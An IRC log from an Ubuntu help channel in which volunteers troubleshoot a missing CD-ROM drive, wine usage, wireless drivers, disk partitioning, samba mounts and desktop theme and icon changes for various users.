[04:20] <tonyyarusso> juhan: I think you might just have to wait for the functionality to be added.
[04:20] <AndiM> juhan: gnomemeeting (ekiga) might perhaps work.
[04:20] <juhan> AndiM: i'll give a try
[04:20] <juhan> idefix: yes it is possible
[04:21] <idefix> juhan, how then?
[04:21] <intelikey> idefix we will play hard ball with it,    put this in a terminal      sudo for this in /dev/.static/dev/hd? /dev/.static/dev/sd? ; do [eject $this 2> /dev/null ]  && echo $this ;done
[04:21] <AndiM> idefix: are you joking!?!? Linux can usually track and uninstall *every single file on the system*! (compare that to windows proprietary installer utter chaos)
[04:21] <idefix> are you sure I have this /dev/.static/dev/hd directory?
[04:21] <nickrud> juhan: http://gaim.sourceforge.net/faq.php#vv
[04:21] <intelikey> just a sec.
[04:22] <juhan> idefix: the easy way is in synaptic to right click on the program and select remove
[04:22] <intelikey> ls /dev/.static/dev    idefix
[04:22] <idefix> big list
[04:22] <idefix> really big list
[04:22] <intelikey> idefix  put this in a terminal      sudo for this in /dev/.static/dev/hd? /dev/.static/dev/scd? ; do [eject $this 2> /dev/null ]  && echo $this ;done
[04:23] <idefix> bash: syntax error near unexpected token `do'
[04:23] <intelikey> it should open your cdrom tray and tell you the device name
[04:23] <langenberg> Hi guys. Is it possible to use apt-get / synaptic with the ubuntu live cd?
[04:23] <idefix> or just sudo /dev/.static/dev/hd? ?
[04:23] <dv_> hi
[04:23] <juhan> nickrud: thanks
[04:24] <juhan> nickrud: it looks like i have to wait
[04:24] <intelikey> well drop the sudo and try it.
[04:24] <idefix> sudo: /dev/.static/dev/hd?: command not found
[04:24] <tonyyarusso> langenberg: Yes, but it will eat your RAM.
[04:24] <idefix> bash: /dev/.static/dev/hd?: Permission denied
[04:24] <nickrud> juhan: I knew that, but I figured going to the source would be believed :)
[04:24] <intelikey> no  the command  full command.
[04:24] <dv_> hm is dapper 5 the last RC before the official dapper is out?
[04:24] <intelikey> for this in /dev/.static/dev/hd? /dev/.static/dev/scd? ;do [eject $this 2> /dev/null ]  && echo $this ;done
[04:24] <juhan> nickrud: thanks anyway
[04:24] <idefix> I'm going to need some sort of basic linux course
[04:24] <intelikey> that whole thing ^
[04:24] <langenberg> tonyyarusso: I just need to run some ruby code for a presentation. Just CLI.
[04:25] <tonyyarusso> langenberg: Should be fine.
[04:25] <idefix> I get
[04:25] <idefix> >
[04:25] <langenberg> tonyyarusso: okay, thanks for the answer.
[04:25] <Frogzoo> dv_: I doubt it - what about the 6 week slip?
[04:25] <idefix> wait I did just "for this in /dev/.static/dev/hd?"
[04:25] <juhan> idefix: there are a toon of manuals on the web, don't worry too much about it
[04:26] <tonyyarusso> Frogzoo: Do we know yet if that's happening?
[04:26] <intelikey> ctrl-C that and let me safen it a little for you.
[04:26] <idefix> > /dev/.static/dev/scd?
[04:26] <idefix> bash: syntax error near unexpected token `/dev/.static/dev/scd?'
[04:26] <Frogzoo> tonyyarusso: I don't but it seemed likely 2 days ago
[04:26] <intelikey> for this in `ls /dev/.static/dev/hd? /dev/.static/dev/scd?` ;do [eject $this 2> /dev/null ]  && echo $this ;done
[04:26] <panzer> ubuntu-es
[04:26] <whoppix> hey all :) is there any tutorial how to set up alsasound on kubuntu? i think artsd is really sucking ^^ on my gentoo machine i used a tutorial from gentoo-wiki, with emu10k1, and evrything works fine...
[04:26] <idefix> with sudo, right?
[04:26] <idefix> ls: /dev/.static/dev/hd?: Permission denied
[04:27] <jenda> what's the recommended way of installing Firefox 1.5?
[04:27] <idefix> ls: /dev/.static/dev/scd?: Permission denied
[04:27] <intelikey> no
[04:27] <tonyyarusso> Frogzoo: Okay.  Will keep watching for the official answer.  (Slept through the mtg - oops.  Better that than class I suppose.)
[04:27] <panzer> ubuntu-es
[04:27] <_jason> ubotu: tell jenda about ff1.5
[04:27] <intelikey> sudo for this in `ls -1 /dev/.static/dev/hd? /dev/.static/dev/scd?` ;do [eject $this 2> /dev/null ]  && echo $this ;done
[04:27] <intelikey> ok sudo....
[04:27] <idefix> bash: syntax error near unexpected token `do'
[04:27] <intelikey> what do i know
[04:27] <wimpies> Hi I want to mount my USB  disk always on the same node (and not on dev/sbx which jumps around)
[04:27] <wimpies> How ?
[04:27] <snowblink> panzer, /join #ubuntu-es
[04:27] <idefix> are you sure about the bracket?
[04:28] <idefix> there's a { > combination
[04:28] <idefix> I mean [ >
[04:28] <idefix> shouldn't it be either []  or <> ?
[04:29] <_jason> intelikey: does it work with []  at all?  I usually don't put those
[04:30] <idefix> there is a ]  later on though
[04:30] <nickrud> intelikey: your last works here (for my first cd) nicely
[04:30] <nickrud> intelikey: without brackets
[04:30] <idefix> without brackets I get the same: bash: syntax error near unexpected token `do'
[04:30] <alex_azz> hi all
[04:30] <robinl1> Me say hi to you all
[04:30] <dag_> #quit
[04:30] <idefix> we aren't screwing up my PC now are we?
[04:30] <idefix> nah
[04:31] <_jason> idefix: hehe paste what you entered
[04:31] <alex_azz> if I have an wlan0 interfacemeans that I'm using ndiswrapper?
[04:31] <robinl1> Me say hi to you all
[04:31] <idefix> sudo for this in `ls -1 /dev/.static/dev/hd? /dev/.static/dev/scd?` ;do eject $this 2> /dev/null && echo $this ;done
[04:31] <idefix> bash: syntax error near unexpected token `do'
[04:31] <intelikey> k yeah the test is not needed
[04:31] <intelikey> no brackets
[04:31] <gnomefreak> the ;
[04:31] <idefix> so no > either?
[04:31] <intelikey> no leave that
[04:32] <idefix> still the same
[04:32] <intelikey> sudo for this in `ls -1 /dev/.static/dev/hd? /dev/.static/dev/scd?` ;do eject $this 2> /dev/null && echo $this ;done
[04:32] <idefix> same again
[04:32] <alex_azz> if I use ndiswrapper I have to download the firmware?
[04:32] <juhan> alex_azz: just the drivers for the card
[04:33] <idefix> :''(
[04:33] <juhan> alex_azz: the windows drivers, that is
[04:33] <_jason> idefix: do sudo -s first and get rid of initial sudo
[04:33] <intelikey> idefix you are sure you don't have two drives set to master or something on the same ide ?     if that doesn't eject anything and you have two cd drives.  where are they ?
[04:33] <alex_azz> juhan: but I can see my interface wlan0
[04:33] <idefix> now I'm root
[04:33] <CanadianSnow> ok, so how do i run wine?
[04:33] <wertty> oi
[04:33] <alex_azz> juhan: it means that I have the driver yet?
[04:34] <juhan> alex_azz: depending on the card you might not need to use ndiswrapper at all
[04:34] <jenda> _jason: OK thanks for that. It meantions using SCIM - how do I know if I use that?
[04:34] <andre> hello
[04:34] <gnomefreak> CanadianSnow: wine file.exe
[04:34] <juhan> alex_azz: it might be supported out of the box
[04:34] <gnomefreak> file.exe being the app you want to run in wine
[04:34] <intelikey> eject should work without sudo tho, shouldnt it ?
[04:34] <idefix> this reminds me my housemate plugged and unplugged my stuff to insert extra memory on  my motherboard
[04:34] <idefix> could that be it?
[04:34] <_jason> jenda: scim is for chinese input
[04:34] <alex_azz> 0000:00:0a.0 Network controller: Texas Instruments ACX 111 54Mbps Wireless Interface
[04:34] <idefix> intelikey _jason I'll just go offline and check for a while
[04:34] <_jason> I think
[04:34] <jessy_> somebody here use a desktop recorder ? i'm trying to use istanbul but the movie is accelerated... :!
[04:35] <intelikey> yep   cable backwards
[04:35] <juhan> alex_azz: having problems with the wireless?
[04:35] <jenda> _jason: Oh OK, thanks
[04:35] <idefix> intelikey what do I check exactly?
[04:35] <intelikey> cdrom ide cable backwards.
[04:35] <andre> can someone tell me why after i installed alien and wine i cant find them it says they are there but it wont add it to the list
[04:35] <idefix> intelikey is that possible? isn't there just one way to put it in?
[04:35] <_jason> andre: what list?
[04:35] <gnomefreak> andre: they are cli tools
[04:35] <intelikey> power off and make sure that all drives are properly plugged.
[04:35] <snowblink> idefix, you need to sudo inside your ``s and I would remove the echo too
[04:35] <andre> applications
[04:35] <LinuxJones> jessI have seen that as well don't know how to fix it :(
[04:36] <andre> cli?
[04:36] <gnomefreak> wine file.exe will run whatever file.exe it can
[04:36] <_jason> ubotu: tell andre about cli
[04:36] <intelikey> idefix nope i've plugged a few backwards my self
[04:36] <idefix> bbl
[04:36] <m-00kie> AndiM - thanks.. turns out scim wasnt even installed.  just had to apt-get the appropriate packages, run scim, and everything turned out great :)
[04:36] <andre> thankyou
[04:36] <LinuxJones> jessy_:  have seen that as well don't know how to fix it :(
[04:36] <idefix> intelikey are you still online in 5 mins?
[04:36] <jessy_> oh shit :s
[04:36] <intelikey> no
[04:36] <gnomefreak> and as for alien im not positive on this but i think its alien file.rpm file.deb
[04:36] <jessy_> do you know another program like istanbul ?
[04:36] <Healot> scim is too heavy to load... uim is easier...
[04:36] <LinuxJones> jessy_:  maybe google has something on it ?
[04:36] <intelikey> i'm going to go hide as soon as you log out
[04:36] <idefix> noooooOOOOO!
[04:37] <katarot> can someone link me to the pastebin
[04:37] <m-00kie> too heavy?
[04:37] <Healot> jsut load uim-gnome-applet... uim rocks
[04:37] <LinuxJones> jessy_:  you can record using vnc
[04:37] <idefix> intelikey you mean it's going to work anyway?
[04:37] <gnomefreak> ubotu tell katarot about pastbin
[04:37] <_jason> katarot: it's in /topic, http://paste.ubuntu-nl.org/
[04:37] <gnomefreak> !pastebin
[04:37] <jessy_> LinuxJones, i've tryed and nothings good
[04:37] <LinuxJones> jessy_:  and like vnctoswf plugin
[04:37] <intelikey> idefix yeah you plug things back in correctly it will work
[04:37] <Healot> uim has the lazy IM loading time... allows faster loading time...
[04:37] <jessy_> ok i will look for it
[04:37] <idefix> ok thanks a million anyway for your help
[04:37] <gnomefreak> ubotu tell katarot about pastebin
[04:38] <katarot> thanks
[04:38] <idefix> intelikey ok thanks a million anyway for your help
[04:38] <gnomefreak> i was gonna get that right if it killed me
[04:38] <m-00kie> scim is running as a daemon
[04:38] <idefix> _jason ok thanks a million anyway for your help
[04:38] <intelikey> next time i ask what changed it would be nice to hear,   memory added  and cables messed with
[04:38] <jessy_> LinuxJones, vnc isn't in ubuntu repositories
[04:38] <idefix> intelikey I just forgot
[04:38] <intelikey> makes diagnosing it a lot easier
[04:38] <intelikey> k
[04:38] <LinuxJones> jessy_:  yeah it sucks, there was actually an xorg recorder that you could actually record the session and run it on another computer, and it would actually run the apps etc in real time but I would not use something liek that :)
[04:38] <alex_azz> juhan: yes
[04:38] <idefix> intelikey so I should never allow my housemate to mess with my PC anymore?
[04:39] <jessy_> ok
[04:39] <intelikey> no you shouldn't .......good luck with it.
[04:39] <gnomefreak> idefix: not with your login
[04:39] <alex_azz> juhan: I can see the interface but I cannot connect it
[04:39] <gnomefreak> as a user not a sudoer
[04:39] <juhan> alex_azz: if you are using gnome try gtkwifi to manage the connection
[04:39] <idefix> this sudo -s command is rather all alowing and therefore dangerous, isn't it?
[04:39] <juhan> alex_azz: it made my life a lot easier
[04:39] <snowblink> idefix, it's more or less a root shell
[04:39] <alex_azz> juhan: I cannot find the application
[04:39] <snowblink> idefix, what problem are you actually having?
[04:40] <nickrud> idefix: absolutely, and you should use sudo -i instead
[04:40] <shortlinggs> hello
[04:40] <kridunink> can anyone help with sound problems in xine?
[04:40] <juhan> alex_azz: give me a sec and i'll put the link
[04:40] <shortlinggs> what is the use of raid 1?   if it is raid 1 then it means if the hard disk1 has a physical problem then hd2 will be automatically used, right?
[04:40] <idefix> snowblink I couldn't find my CDrom's anymore
[04:40] <alex_azz> juhan: but I set it by hand and it won't work
[04:40] <intelikey> nickrud thanks for pointing out the over cautious error i made.   can't test a command.  it's not a condition, i should have knew that...
[04:40] <tlee> 33
[04:40] <idefix> intelikey, I hope you learnt something from the whole thing
[04:40] <shortlinggs> what is the use of raid?
[04:41] <nickrud> intelikey: no, someone else mentioned the brackets, I just cut them and tried :)
[04:41] <alex_azz> the Sempron is at 32 bit ?
[04:41] <snowblink> !tell shortlinggs about raid
[04:41] <juhan> alex_azz: then you might need to try with the ndiswrapper
 this sudo -s command is rather all alowing and therefore dangerous, <--- it's full root.
[04:41] <Toma-> what file is the ubuntu logo for the apps menu?
[04:42] <_jason> Toma-: /usr/share/icons/hicolor/48x48/apps/distributor-logo.png
[04:42] <juhan> alex_azz: but just in cae get the program and try it: http://sourceforge.net/projects/gtkwifi
[04:42] <Toma-> thanks
[04:42] <intelikey> k your post was the one that caught my attention nickrub
[04:42] <Azertyuuu> hey  all, i 'm considering to install Ubuntu Flught 5, but will it be possible to easily upgrade to Alfa 1 in the near future ?
[04:42] <snowblink> shortlinggs, http://en.wikipedia.org/wiki/Redundant_array_of_independent_disks
[04:42] <intelikey> well good day all.  and God bless.
[04:42] <juhan> alex_azz: it might help you set it up even if you need the ndiswrapper
[04:42] <kridunink> hello.
[04:44] <nickrud> Azertyuuu: yes, ubuntu's designed around tools for easy upgrades
[04:44] <shortlinggs>  is ispconfig secure?
[04:44] <shortlinggs> does the coders of iscpconfig have a monthly support to any bugs appearing to the program?
[04:44] <Azertyuuu> and do you know if there will be problems installing the RA2500 USB wireless Adapter ??
[04:44] <gnomefreak> _jason: is it possible to change the logo on panel in nautilus?
[04:45] <katarot> ahh cant get it martin@ubuntu:~$ for conffile in /etc/ndiswrapper/bcmwl5/*.conf; do
[04:45] <katarot> >
[04:45] <katarot> > sudo cat $conffile | sed -e 's/RadioState|1/RadioState|0/' > $conffile
[04:45] <katarot> >
[04:45] <katarot> > done
[04:45] <katarot> bash: /etc/ndiswrapper/bcmwl5/14E4:4311:1028:0007.5.conf: Permission denied
[04:45] <katarot> bash: /etc/ndiswrapper/bcmwl5/14E4:4311:1028:0008.5.conf: Permission denied
[04:45] <katarot> bash: /etc/ndiswrapper/bcmwl5/14E4:4311.5.conf: Permission denied
[04:45] <gnomefreak> katarot: use sudo
[04:45] <_jason> katarot: please use http://paste.ubuntu-nl.org/
[04:45] <kridunink> new user. can one help with no sound from xine
[04:45] <Healot> Azertyuuu: : I know one good distro for that usb adapter, PCLinux :)
[04:45] <Azertyuuu> nickrud, would you like to check in Ubuntu  if the RA2500 wireless USB adapter will work
[04:45] <katarot> i have did that to
[04:46] <_jason> kridunink: sound works elsewhere?
[04:46] <Azertyuuu> Healot, thanx
[04:46] <nickrud> Azertyuuu: Healot seems to know that stuff better than I do (everyone knows wireless better than I)
[04:46] <_jason> katarot: you don't have permission to redirect output to those files
[04:46] <kridunink> _jason: yes, on boot up and when closeing window down. video plays but no sound
[04:46] <andre> hello
[04:46] <Azertyuuu> Healot, but i like (k)Ubuntu :)
[04:46] <void^> katarot: instead of `> bla` use `| sudo tee bla`
[04:46] <_jason> gnomefreak: I don't know, but which one in particular?
[04:47] <gnomefreak> _jason: tryint to change the applications logo in top left corner of panel
[04:47] <katarot> _jason: how can i get permission
[04:47] <Healot> atm, ubuntu does not detect RA2500 usb adapter well yet... unless you can find its driver source...
[04:47] <andre> at the cli it tells me that alien and wine are istalled but i cant find them in my list of applications
[04:47] <Azertyuuu> are here any ENGINEERS ?
[04:47] <_jason> gnomefreak: that's /usr/share/icons/hicolor/48x48/apps/distributor-logo.png_backup
[04:47] <_jason> gnomefreak: oops, I mean /usr/share/icons/hicolor/48x48/apps/distributor-logo.png
[04:48] <nickrud> andre: they don't have menu entries becaused they are command line tools
[04:48] <Healot> just "locate distributor-logo.png"
[04:48] <gnomefreak> _jason: yes i know but how do i put an xfce one there instead of that
[04:48] <_jason> gnomefreak: just replace the file with an xfce logo
[04:48] <andre> aaaaaaaaaaaaaaaaaaah so to get to work would be
[04:48] <andre> run
[04:49] <shortlinggs> http://www.howtoforge.com/perfect_setup_ubuntu_5.10_p2   <--- in this manual, why is it all partition all primary?
[04:49] <shortlinggs> i thought one primary and the rest logical
[04:49] <andre> cli is shell
[04:49] <Azertyuuu> does anyone here earns money for usinf LINUX ?
[04:49] <Azertyuuu> *using
[04:49] <snowblink> Azertyuuu, yes
[04:49] <snowblink> andre, what are you trying to do?
[04:50] <nickrud> shortlinggs: you can have up to 4 primary, or 3 primary & a bunch of logical
[04:50] <snowblink> !tell xota about es
[04:50] <Azertyuuu> snowblink, how much ? and for who do you work ?
[04:50] <juhan> Azertyuuu: if by earn money you mean have to work with it, yes
[04:50] <Azertyuuu> juhan, yes, what's your job
[04:50] <snowblink> Azertyuuu, inappropriate questions
[04:50] <andre> well trying to change some rpm packages to deb
[04:51] <Healot> Azertyuuu: : yes I do...
[04:51] <nickrud> andre: what rpms in the first place?
[04:51] <juhan> Azertyuuu: research at university
[04:51] <Azertyuuu> snowblink, i know, but i have to ask if as homework
[04:51] <Healot> and Windows too... :_)
[04:51] <andre> w32codecs
[04:51] <xota> snowblink, i know about this channel, i'm in, thanks ;)
[04:51] <kridunink> does anyone know any good manuals for a new user?
[04:51] <andre> libdvd forxine
[04:51] <snowblink> andre, all available as debs
[04:51] <_jason> kridunink: new to linux?
[04:51] <juhan> Azertyuuu: physics research, molecular dynamics symulations
[04:51] <nickrud> andre, see snowblink :)
[04:51] <juhan> simulations
[04:51] <Azertyuuu> because i'll go to highscool next year to become Industrial Engineer
[04:52] <andre> what site do you goto
[04:52] <kridunink> _jason: yes, about 5 days no
[04:52] <Remenic> what do I do with the "The following packages have been kept back" list of packages? Why does it keep showing that everytime I install something?
[04:52] <snowblink> !tell andre about w32codecs
[04:52] <kridunink> _jason: *now, sorry
[04:52] <andre> ok
[04:52] <nickrud> !libdvdcss
[04:52] <ubotu> DVD playing is possible in ubuntu. You may need libdvdcss2, which is available via http://wiki.ubuntu.com/SeveasPackages (section extras)
[04:52] <Healot> kridunink: , manual/documentations are really good for starters... IMHO, but you can try doing things on you own first... then consult manuals
[04:52] <_jason> kridunink: help.ubuntu.com wiki.ubuntu.com ubuntuforums.org are good.  Also the rute manual is good if you want to understand linux in general (the bot will send you a link)
[04:52] <incorrect> hi, i noticed that there is a 'server' build of ubuntu, does that just mean different set of default packages?
[04:52] <_jason> ubotu: tell kridunink about rute
[04:52] <juhan> Azertyuuu: but i also do a bit of web developing
[04:53] <idefix> intelikey?
[04:53] <juhan> Azertyuuu: why? wondering if linux is any use?
[04:53] <nickrud> andre: using alien is a last ditch effort: I've had to do that only one or two times in 5 years
[04:53] <idefix> _jason
[04:53] <idefix> is there a way to leave messages?
[04:53] <kridunink> healot: thanks for the info, what i was planning to do
[04:53] <idefix> like in KGS
[04:53] <idefix> ?
[04:53] <rob138> how can i change the priveledges of a mounted device (specifically an ipod), because amarok says access is denied when i try to write to it, and i assume its because the owner rights
[04:53] <kridunink> _jason: thanks alot for the info
[04:54] <_jason> idefix: not sure what KGS is
[04:54] <Azertyuuu> juhan,  yes ! asking myself if anyone makes money by using linux
[04:54] <idefix> _jason kiseido go server
[04:54] <juhan> Azertyuuu: it is an important tool for science
[04:54] <juhan> Azertyuuu: and other areas
[04:54] <Azertyuuu> juhan, is it especially for programming ?
[04:54] <snowblink> Azertyuuu, search a job site for linux. It may give you an idea of what the market is like...
[04:54] <idefix> _jason in KGS you can leave messages to people, they see them the next time they log on
[04:55] <juhan> Azertyuuu: so it would be good for your career to learn a bit
[04:55] <CanadianSnow> ok, so how do i run wine?
[04:55] <_jason> idefix: yes there is way, but I don't know how since I never tried :)
[04:55] <snowblink> Azertyuuu, there is certainly a market for linux skills.
[04:55] <sig> CanadianSnow: man wine
[04:55] <Azertyuuu> juhan,  no, i will become an Industrial Engineer , master Of Science
[04:55] <sig> wine --help
[04:55] <andre> were do i download daper drake
[04:55] <CanadianSnow> from ubuntu, i installed some thing that said it was the newer version, but i cant find it
[04:55] <idefix> _jason, I think the cable was loosly plugged or something, I removed it, found out I could turn it the other way around (since there's some small object on one side), but now the CD and DVD work again
[04:55] <snowblink> !tell andre about dapper
[04:56] <CanadianSnow> and when i type wine in the terminal it tells me invaild command
[04:56] <_jason> idefix: great
[04:56] <juhan> Azertyuuu: there ia  lot of modelling done using linux in engineering
[04:56] <sig> you have to run it with some strigs...
[04:56] <sig> man wine
[04:56] <CanadianSnow> "man wine" ?
[04:56] <sig> open a terminal
[04:56] <sig> and type: man wine
[04:57] <gnomefreak> CanadianSnow: wine file.exe
[04:57] <CanadianSnow> No manual entry for wine
[04:57] <CanadianSnow> oh...
[04:57] <mod^> http://www.kossan.se/hamster_i_hjul.htm
[04:57] <CanadianSnow> !wine
[04:57] <Healot> Svenska?
[04:57] <mod^> huh?
[04:57] <katz0r> hi, do you guys know how to install oss2jack on dapper?
[04:57] <redguy> !se
[04:58] <ubotu> Svensk Ubuntu- och Kubuntusupport hittar du pa #ubuntu.se resp. #kubuntu.se
[04:58] <jessy_> vandoeur libraire
[04:58] <redguy> katz0r: ask dapper questions in #ubuntu+1 (it's in the topic actually)
[04:59] <katz0r> ql thx
[05:00] <shortlinggs> does ubuntu server only create up to 4 partition as primary? how can i create many partitions?
[05:01] <redguy> shortlinggs: hmm, there can be only 4 primary partitions, this is not ubuntu's limitation
[05:01] <r4zz> you can make logical volumes
[05:01] <babo_> with skype you can use the protocol to do something like <a href="skype:65465466?call"> to make a one click phone call to a landline (or so I believe)... I'm running wengo because skype haven't bothered to make a working system for AMD64 linux ....  can I do the same thing with SIP .... and how ?
[05:02] <gnomefreak> why cant i open that darn file :(
[05:02] <shortlinggs> ah so 4 primary partitions and then the rest partitions will be logical , is that right?
[05:02] <juhan> shortlinggs: the logical go inside the primary
[05:03] <r4zz> you can't have more than four partitions, you have to get rid of one
[05:03] <redguy> shortlinggs: no, you can have up to 3 primary partitions, the 4th would be an extended partition which could hold up to 15 (not sure on that number) logical partitions
[05:03] <r4zz> then make one and put logical partitions in there
[05:03] <nickrud> gnomefreak: which one?
[05:03] <gnomefreak> the icon one :(
[05:03] <Spde> is there any tool program to mount a samba filesystem in ubuntu?
[05:03] <redguy> shortlinggs: or set up lvm, this is far more flexible
[05:03] <_jason> gnomefreak: use gimp to open it
[05:04] <gnomefreak> /usr/share/icons/hicolor/48x48/apps/distributor-logo.png   this one
[05:04] <Jhair> Spde: smbmount
[05:04] <AndiM> Spde: try smb4k or konqueror smb:/
[05:04] <yaaar> word
[05:04] <shortlinggs> redguy all lvm for many partitions will that be ok?
[05:04] <nickrud> gnomefreak: eog /usr/share/icons/hicolor/48x48/apps/distributor-logo.png worked here
[05:04] <redguy> Spde: if you want to mount samba shares you might want to install cifs
[05:04] <redguy> !lvm
[05:04] <ubotu> from memory, lvm is (for the moment) http://www.tldp.org/HOWTO/LVM-HOWTO/
[05:05] <alex_azz> I have a k8 I have to use ubuntu for 64 bit ?
[05:05] <AndiM> alex_azz: you *CAN* use 64bit ubuntu
[05:05] <gnomefreak> ok its open to the ubuntu logo how do i change it now :(
[05:05] <GosuCJ> can I install a duel boot of windows AFTER I install ubuntu?
[05:05] <AndiM> alex_azz: be happy, since I cannot. but Wine will be an issue with 64bit ubuntu.
[05:05] <KakiPukul> on a 64-bit CPU
[05:05] <nickrud> gnomefreak: just cp <desiredicon> /usr/share/icons ...
[05:05] <alex_azz> AndiM: and it works good?
[05:06] <Spde> Jhair: you know how a command to mount a filesystem can look like? say 192.168.0.32 user spde?
[05:06] <alex_azz> ok
[05:06] <AndiM> alex_azz: it should work quite well, given that Linux had AMD64 support I think 4 years ago already.
[05:06] <gnomefreak> nickrud: its in the same folder as the ubuntu logo just a differetn icon
[05:07] <alex_azz> AndiM: thanks I will try
[05:07] <elyxi> what apps do i need to unpack rar files?
[05:08] <nickrud> gnomefreak: different name? you just need to have the icon you want in that dir named as distributor-logo.png, iirc.
[05:08] <gnomefreak> so just rename it?
[05:08] <nickrud> gnomefreak: yeah, as long as it's already a png image
[05:08] <Jhair> Spde: something like smbmount //machine/share /mnt/mountpoint
[05:08] <Spde> Jhair: thanks, is machine the ip?
[05:09] <Jhair> Spde: yes can be the IP
[05:09] <Spde> Jhair: will it ask for user and password (encrypted)?
[05:10] <nickrud> elyxi: unrar
[05:10] <Jhair> Spde: take a look to the smbmount manpage, you can give the username and password as options in the command line (ok, to give the password in the command line is dangerous, of course)
[05:11] <Spde> Jhair, ok i will, thanks
[05:13] <katarot> can someone tell how to move to files
[05:13] <nickrud> gnomefreak: that is so evil, having that logo on my panel :)
[05:13] <FunnyLookinHat> katarot, in Gnome?  or in the console?
[05:14] <juhan> katarot: mv "file" "location"
[05:14] <katarot> thanks
[05:14] <gnomefreak> i cant change it at all :( is there a config file that i can just take the one thats in there and replace it with name of new one?
[05:14] <nickrud> gnomefreak: did you killall gnome-panel so the config was reread?
[05:15] <existance> How do I measure the memory usage of a program.
[05:15] <gnomefreak> nickrud: yes
[05:15] <gnomefreak> still the ugly orange and white icon
[05:16] <sks> Where are the defaults like "HOME", "SHELL" etc stored in Ubuntu ? It is usuallt /etc/default/useradd in most distros. But that file is not present on my machine but "useradd -D" is able to show the values. So, where are these values coming from ?
[05:16] <Jhair> existance: pmap
[05:16] <nickrud> gnomefreak: I just mv'd the orginal distributor-log to my home, cp'd xfce's to distributor-logo.png , and restarted the panel
[05:16] <existance> Jhair, err, what if the program only take like half a second to execute?
[05:16] <wvelez> hi...how can i tell what version of XFree86 I am running? thanks
[05:17] <gnomefreak> nickrud: mine are in same folder can i do that with the path names of both?
[05:18] <Shadowline> wvelez: your running breezy ? if so your using xorg, not xfree
[05:18] <Pygi> Seveas: wake up ^^
[05:18] <helfrez> ok so whos gonna be the first to install ubuntu on their mactel box lol
[05:18] <GnarusLeo> I have just formated /dev/sda to three partitions (and mounted, ext3) ... how can I set write privelegies to myself?
[05:18] <golanz> hi there! I'm looking for a particular software in ubuntu, able to generate random text from some keywords... any hints?
[05:18] <GnarusLeo> --> sda1 sda5 sda6
[05:18] <nickrud> gnomefreak: mine were also, you're just renaming a file
[05:19] <existance> How would I measure the memory usage of a program that takes a short time to execute?
[05:19] <incorrect> is there a web based searchable package db?
[05:19] <wvelez> shadownline: im running breezy
[05:19] <Pygi> incorrect: packages.ubuntu.com
[05:19] <incorrect> i just want to find versions etc
[05:19] <novem> can anyone tell me how to change my keyring pass in gnome?
[05:19] <AndiM> existance: memusage <program>
[05:19] <incorrect> thank you
[05:19] <wvelez> shadownline: how can i determine that version?
[05:19] <shavvn> someone please help mr get rid of the brown, the themes in gnome and xfce don't change - it's brown forever!!!
[05:19] <Shadowline> wvelez: ok, then your running xorg, not xfree
[05:19] <juhan> golanz: there was an article on the papers a while back about two guys doing that for a conference... not sure how they did it though
[05:20] <paganini> Hi everyone; I have a couple of questions I was hoping someone might know the answer to.
[05:20] <nickrud> cd /usr/share/icons/hicolor/48x48/apps && sudo mv distributor-logo.png ~ && sudo cp xfce4-logo.png distributor.png && killall gnome-panel
[05:20] <nickrud> gnomefreak: ^^
[05:20] <golanz> juhan... yes, two guys at MIT... but it is not a software
[05:20] <Shadowline> wvelez: ermmm, look in synaptic
[05:20] <gnomefreak> ty ill try it
[05:20] <wvelez> hi...how can i tell what version of Xorg I am running? thanks
[05:20] <Jhair> existance: I don't know, maybe run top in batch mode, redirect the output of top to a file and then check the file for ocurrences of your program
[05:20] <Seveas> Pygi, ?
[05:20] <existance> AndiM, err.. is that a built-in program?
[05:20] <_jason> wvelez: Xorg -version
[05:20] <GnarusLeo> --> sda1 sda5 sda6
[05:20] <juhan> golanz: they might have release the program afterwards
[05:20] <GnarusLeo> I have just formated /dev/sda to three partitions (and mounted, ext3) ... how can I set write privelegies to myself?
[05:20] <hurax> some noob questions: if i want to have both gnome and kde on my box and be able to choose between them, is it better to install ubuntu or kubuntu?
[05:20] <wvelez> _jason: thank you
[05:20] <Spde>  anyone knows what the smbmount error messege: smbmnt must be installed suid root for direct user mounts (1000,1000) ??
[05:21] <golanz> I'll check here, thanks juhan: http://pdos.csail.mit.edu/scigen/
[05:21] <hurax> GnarusLeo: do you want to mount them a user?
[05:21] <Pygi> Seveas: I have packages for you to test (not still final, but still) if you want?
[05:21] <paganini> First, a few weeks ago I was having a problem in kubuntu where some of my apps were not following my theme. Like, XCHAT looked really ugly. Someone told me about a GTK switch in KDE Control center that fixed it.
[05:21] <existance> Jhair, that looks a bit over my head :/
[05:21] <juhan> golanz:  no problem
[05:21] <novem> anyone? whats the command for the gnome keyring manager, if there even is one?
[05:21] <GnarusLeo> hurax, same ... i just tok chmod a+wrx :) never mind
[05:21] <paganini> Now I'm in regular ubuntu, and having a similar problem. Does anyone know of a similar fix?
[05:21] <Seveas> Pygi, sure - let's got to -offtopic 
[05:21] <incorrect> oh thats new, shame its not searchable
[05:21] <wvelez> _jason: thank you...that worked...
[05:22] <hurax> and second: if i install the amd64 version, can i still run 32 bit x86 programs?
[05:22] <incorrect> thats interesting, i thought ubuntu would have had a more upto date net-smpd package than debian
[05:22] <Spde> Anyone? what dose the smbmount error messege: smbmnt must be installed suid root for direct user mounts (1000,1000) ??
[05:22] <juhan> paganini: is it xchat or gnome in general?
[05:23] <Sp4rKy> hi guys
[05:23] <Jhair> Spde: did you run smbmount with sudo?
[05:23] <paganini> Juhan: Some GNOME programs, but not all
[05:23] <paganini> For example, Synaptic doesn't follow my theme. The buttons are really square and clunky
[05:23] <edan> hi can anyone please tall me where i couled find a good assembler compiler??
[05:23] <shavvn> anyone know how to fix screwed up themes? all themes are the same for me
[05:24] <Jhair> edan: a good assembler or a good compiler?
[05:24] <incorrect> edan asm not good enough for you?
[05:24] <Dr_Willis> paganini,  synaptic is using the 'root' users settings for its theme.
[05:24] <paganini> Oh
[05:24] <paganini> That makes sense
[05:24] <Dr_Willis> paganini,  so if you 'su' to a different user and run a program - that users themes are used. :P
[05:24] <DBO> hello
[05:25] <paganini> Dr_Willis: Doh. I should have thought of that. So, is there any way to change such settings for root?
[05:25] <Spde> Jhair: lol, no =) it keep saying wrong password =( dose it have anything to do whit the encryption?
[05:25] <edan> incorrect, no i need a good compiler with an out put screen and variable output like emu8086
[05:25] <Dr_Willis> paganini,  A+ then :P lol.. Thinking logicially is conductive to proper linux ussage.
[05:25] <incorrect> is dapper based off debian testing or something?
[05:25] <gnomefreak> incorrect: no dapper is in devel
[05:25] <DBO> I am having trouble getting any sound to go with my videos... I have used Easy Ubuntu to try and fix the issue.  XMMS plays music fine however
